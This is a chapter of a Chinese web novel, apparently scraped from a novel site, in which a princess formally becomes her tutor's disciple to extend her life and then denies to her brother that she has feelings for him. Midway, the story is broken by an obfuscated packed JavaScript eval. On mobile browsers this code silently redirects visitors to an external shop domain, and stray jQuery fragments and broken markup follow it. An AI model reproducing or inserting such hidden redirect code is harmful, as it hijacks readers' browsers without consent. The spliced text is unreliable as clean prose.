文趣网 > 其他小说 > 靠攻略白切黑续命后 > 5. 拜师
    暖阁内,师徒二人沉默不语,气氛略显尴尬。

    二人出来便看到案上的奏章洒落一地,几个内侍跪在地上整理这一片狼藉。

    皇帝靠在龙椅上,冷冰冰地撇过来,一言不发。

    楼叙白二话不说,走至案前,一撩衣摆跪下,从容叩首,“臣受陛下重托,教导储君,不敢有丝毫僭越。公主殿下天性纯良,只是久居宫中,未曾见过外臣,误以为臣与众不同罢了。恳请陛下收回成命,为公主殿下另择内廷德高望重的女师。”

    皇帝闻言哼了一声,怒气却是消散了些,“朕即已允了她,又怎会收回成命。望卿日后多加提点公主,让公主明白尊师重道的礼数。可明白?”

    楼叙白神色淡然,低头看着金砖,眼神未偏过一毫,“臣遵旨。”

    皇帝扶额,“朕留你们二人本想探讨些朝政,却不想让你们听到些不该听的,现也无了兴致。公主年幼无知说了些许戏言,你二人切勿多想,退下罢!”

    二人出了宫殿,皇帝的目光才从楼叙白身上收回,若有所思。

    萧云志脸色铁青,看上去心情复杂,与先生告别后径直回了东宫。

    宫外候着的文玉迎了上来,楼叙白低声道:“去查查东宫和长乐宫前几日有何事。”他想了想,“从公主大病初愈后开始查。”

    .

    长乐宫。

    晴儿将公主裤腿卷起来,露出一片青紫的双膝,眼眶一热,囔囔道:“陛下怎会舍得公主跪地呢,造成这副样子,要疼上好几日了......”

    她拿出特制的膏药,把药膏涂在手心热化了,再涂在公主红肿的膝盖上。

    萧云微疼得倒吸一口凉气,但她现在还是开心的,至少解决了生存问题。

    她笑着安慰晴儿,晴儿却只看到她残留的泪痕,鼻尖一酸,眼眶红红的。

    萧云微躺在美人榻上,等晴儿给她上药,激动过后,如今只觉平静。

    只是刚才在殿内,迫不得已开始胡言乱语。虽说没被太傅本人听见,但她心里还是感觉尴尬,不知日后如何面对楼叙白。

    “目标好感度已更新,楼叙白目前好感度为13。”

    萧云微被突然想起的声音吓一跳,心道奇怪,不知为何加了些许好感度。

    她只当太傅在府中闲来无事,忽念起她的好来了。

    未时。

    刘公公来替钦天监传话:“公主殿下,钦天监择了几个黄道吉日,为您和太傅举办拜师礼。”

    萧云微接过册子看了看,最早的都要排到半月后。她将册子合上,“本宫明日就要办。”

    刘公公一愣,面露难色,“公主殿下,是否太过仓促了些?”

    “本宫觉得甚好,就这么定了罢。”

    刘公公闻言,思考片刻,“若要明日操办,拜师礼定要简化。”

    萧云微未犹豫片刻便点了头。

    刘公公见转,指了几个内侍传话去了,“还有一事,殿下可在长乐宫择一地,选作书房。奴才便让人过去布置。”

    萧云微想了想,择了东厢房,这东厢房本就作为书房,只是长期未用罢了,选在此处正合适。

    话音刚落,刘公公便带着人手过去了,晴儿搀扶着萧云微跟着过去。东厢房每日都有人打扫,本就整洁。内侍将里头的东西搬了出来,置办了新的书案架子,铺上新的地毯,再挂上几副名师画作,并几瓶鲜花点缀。看上去很有书香气。

    萧云微很是满意,刘公公便回去复命了。

    .

    明日举办拜师礼的消息传入楼府。

    文玉禀报完后,楼叙白陷入沉思。

    未发生任何奇怪的事,公主大病初愈后,纯粹开始想见他......他原是不信公主说的倾心于他,现在......

    有什么值得她冒这么大的风险,只为了拜他为师?

    屋里静悄悄,楼叙白闭目养神,文玉安静地站在一旁。

    .

    这日公主府上忙忙碌碌,都为着拜师礼做准备。

    晴儿领着几个宫女为萧云微梳洗打扮着,发髻梳得一丝不苟,并一只小巧精致的玉簪,换上一身月白色青衿学生服,素净极了。

    再有宫女端着盛温水的錾金铜盆上前,萧云微将双手探入水中,仔细洗净。此为盥洗礼,寓意净手净心,摒弃杂念,专心向学。

    晴儿扶着萧云微行至东厢房,远远便看见一堆人围在屋外。萧云微有些紧张,双膝还疼着,还不知如何面对太傅,再就是天命值只余九个时辰了。

    东厢房外,萧云微深吸一口气,送开了晴儿的手,踏进屋内。

    殿内很多人,有引礼的太监,有看似心情不好的萧云志,正阴沉的看着她,还有神色如常平淡的楼叙白,看向她的眼神也淡淡的,让人摸不透他的想法。

    引礼官尖细的嗓音在殿内响起:“吉时到,拜先师——”

    殿内正中,摆着至圣先师孔子的神位和香案。萧云微接过宫人手中的香柱,双手将三柱清香举过头顶,虔诚地插入香炉。随后,她双膝并拢,跪在柔软的蒲团上,双膝触碰蒲团的瞬间,她的身形微不可查地倾斜了些,倒吸了口凉气。接着,朝着孔圣人的神位行了九叩首大礼,额头触碰到蒲团,发出轻微的闷响。

    众人都在看着她,晴儿在担忧公主的膝盖,萧云志张了张嘴,看似很想说些什么。

    “拜太傅——”

    楼叙白今日身着淡青色竹纹长衫,端坐在太师椅上。他面容沉静,沉水般的双眸静静地看着萧云微,看不出丝毫情绪。

    萧云微站起身,慢慢走到太傅面前,咬了咬下唇,双膝再次跪地,行了个无可挑剔的稽首大礼。

    她并未起身,宫女适时递过来一盏温茶。萧云微接过茶盏,双手捧起举过头顶,声音清脆却投着几分生硬:“弟子萧云微,愿拜太傅为师。先生,请用茶。”

    楼叙白垂眸,视线落在她高高举起的细白手腕上,他微微倾身,修长的手接过茶盏。掀开茶盖,抿了一口,又将茶盏稳稳放下。

    “既饮了这杯茶。”楼叙白目光直视着跪地的萧云微,声音沉稳,“从今往后,你便是我楼叙白的弟子。需尊师重道,不可顽劣。”

    说罢,他从袖中取出一本《孟子》,递到萧云微面前:“望公主日后戒骄戒躁,敏而好学。”

    萧云微双手接过沉甸甸的书,深感震惊,嘴上却应道:“弟子......知晓。”

    “礼成——”

    引礼官的高唱声落下,殿内紧绷的气息终于松懈了几分。萧云微欲起身,膝盖却一软,险些扑倒楼叙白身上,还好一旁的晴儿眼疾手快,一把将萧云微捞了回来。

    站稳后,萧云微十分尴尬,小脸红似熟透了,忙开口解释:“实在对不住,本宫跪得膝盖麻了,险些冒犯先生!”

    一旁众人包括萧云志在内的,无不倒吸一口凉气。

    楼叙白倒是没什么反应:“无妨,公主辛苦,今日不讲学,可在宫里休息。若无事,臣先行告退。明日开始来为公主讲学,请殿下做好准备。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893692|212804||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    许久,众人皆散了,留下三三两两宫女太监收拾场地。

    晴儿为萧云微换下学生服,再给膝盖重新上了药。

    “恭喜宿主今日成功与目标建立联系,天命值+2日,目前天命值剩余2日8时辰。”

    萧云微坐在椅子上,压在心里的大石终于落了地。

    萧云志还留在长乐宫,等萧云微出来后看着她,欲言又止。

    宫女上了新的温茶糕点,萧云微坐下与他相视无言,顿感莫名其妙。

    萧云志在内心苦苦挣扎良久,终于开口道:“微微,太傅绝非良配。”

    正端着茶盏的萧云微险些将口中的茶水喷出,猛地被呛到,不停地咳嗽起来,晴儿忙上前亲拍她的背。

    好不容易缓过来,萧云微脸红得不行,“你啥意思?”

    萧云志叹了口气,看似为难极了,苦口婆心劝道:“楼先生二十又二,至今未娶,外头都说他清心寡欲,嫁过去也是受罪的,仔细一想甚有道理。你贵为公主,要什么样的没有,为何喜欢他那样的。”

    背后这样议论自己的老师,看得出萧云志做了多少心里建设。

    他想了想,又补充一句:“何况你们二人现在是师生,此等心思简直大逆不道,若是传出去外头会怎样看你。”他还没说,更何况这师生名分还是萧云微自己去求的。

    “不......不,不是!”萧云微忙打断他,生怕他接着说下去。“从何看出我对他有意?”萧云微心中一阵后怕,难不成昨日养心殿之事暴露了?

    那她日后有何脸面对楼叙白?

    萧云志眉头紧皱,“哥哥还不了解你吗?劝你早日断了那等心思,可明白?”

    “完全没有的事!我对他无意!完完全全!无意!”萧云微试探问:“你怎会这样想,可是父皇同你说了些什么?”

    萧云志不自觉摸了摸鼻子,眼神闪躲,“没有最好,反正先同你说了,你们二人,我不同意。”

    萧云微简直有些气急败坏:“说了你又不信!晴儿送客,本宫要休息了!”

    晴儿闻言面露难色,不知如何是好。

    萧云志叹道:“罢了罢了,你也别生气,之后不提此事了,我回宫了。”他想上来摸摸萧云微的头,被萧云微侧身躲了过去。

    萧云志摇了摇头,出宫去了。

    萧云微心脏猛猛地跳,好不容易平静下来,仔细思考了萧云志说的话。

    她和楼叙白......有可能在一起吗?

    想法一出,萧云微摇摇脑袋,将其甩飞出去。不可能......完全无法想象,她与楼叙白两情相悦,成婚,生子......

    “咳咳咳咳咳......”萧云微被自己想法吓着了,猛被呛到,不顾仪态地剧烈咳嗽起来。

    绝无可能。她对楼叙白仅限于让她活命的利用,并无丝毫感情。养心殿内一番话完全是无计可施后的胡言乱语。

    但最终的目标是攻略楼叙白,若是不能,往后若发生什么变故将二人分离,她还是难逃一死。

    她苦思,不知如何是好。

    忽然灵光一现,若是请旨赐婚......不行不行,先不说父皇会不会将她轰出养心殿,看今日萧云志那般架势......此法也是万万行不通的。

    那便真的只能攻略楼叙白了......都走到拜师这一步了,两人日后定少不了相处。大不了事成之后就远离他,不再去碍他的眼。

    萧云微轻咬下唇,为了活命,她决定豁出去了。